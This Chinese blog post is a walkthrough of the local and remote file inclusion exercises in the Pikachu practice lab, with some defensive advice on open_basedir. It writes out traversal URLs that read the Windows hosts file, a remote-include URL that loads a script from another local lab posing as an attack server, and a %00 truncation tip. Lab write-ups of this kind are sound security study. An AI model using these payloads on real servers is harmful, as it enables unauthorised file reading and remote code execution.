pikachu file include——文件包含靶场练习


文件包含本质就是代码注入,原理:注入一段用户能够控制的脚本或代码,让服务器端执行。

1.本地文件包含漏洞——能够打开并包含本地文件的漏洞

测试pikachu文件包含靶场:

①随机选择,出现文件包含

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

pikachu  file include——文件包含靶场练习

②修改file2.php可以造成文件读取(结合目录遍历漏洞,如果被过滤可改变编码方式)
尝试读取本机host文件

 ../../../../Windows/System32/drivers/etc/hosts

由于不知道文件包含几级路径,因此多次尝试增.//

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename= ../../../../../Windows/System32/drivers/etc/hosts
&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

③成功获取本地HOST

pikachu  file include——文件包含靶场练习

④漏洞避免

a.避免目录遍历漏洞:

开启open_basedir,作用限制在某个特定目录下PHP能打开的文件,作用与safe_mode是否开启无关。

注意:open_basedir的值是目录的前缀。

b.避免任意文件包含:

尽量避免包含动态的变量,尤其是用户可以控制的变量。

如:open_basedir值采用枚举方式,PHP可打开的文件被枚举出来,也就避免了任意文件包含的风险。

2.远程文件包含

 如果PHP配置选项allow_url_include为ON,则include/require函数可以加载远程文件,即存在远程文件包含漏洞。

测试pikachu文件包含靶场:

①随便打开一个文件

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

发现存在远程包含漏洞filename=include/

②在本地测试环境中,新开一个靶场当做攻击服务器(sqli-labs靶场)

攻击服务器脚本地址;

http://127.0.0.1/sqli-labs-master/www.php

③在pikachu靶场中远程加载脚本文件:

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/sqli-labs-master/www.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

④效果:

pikachu  file include——文件包含靶场练习

⑤也可采用目录遍历:

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=../../../../../../../www.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

效果:

pikachu  file include——文件包含靶场练习

 

 ⑥如果文件无法正确加载解析,可尝试在URL中使用%00截断(利用远程文件包含常用技巧)

 

原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/281116.html

(0)
上一篇 2022年8月20日
下一篇 2022年8月20日

相关推荐

发表回复

登录后才能评论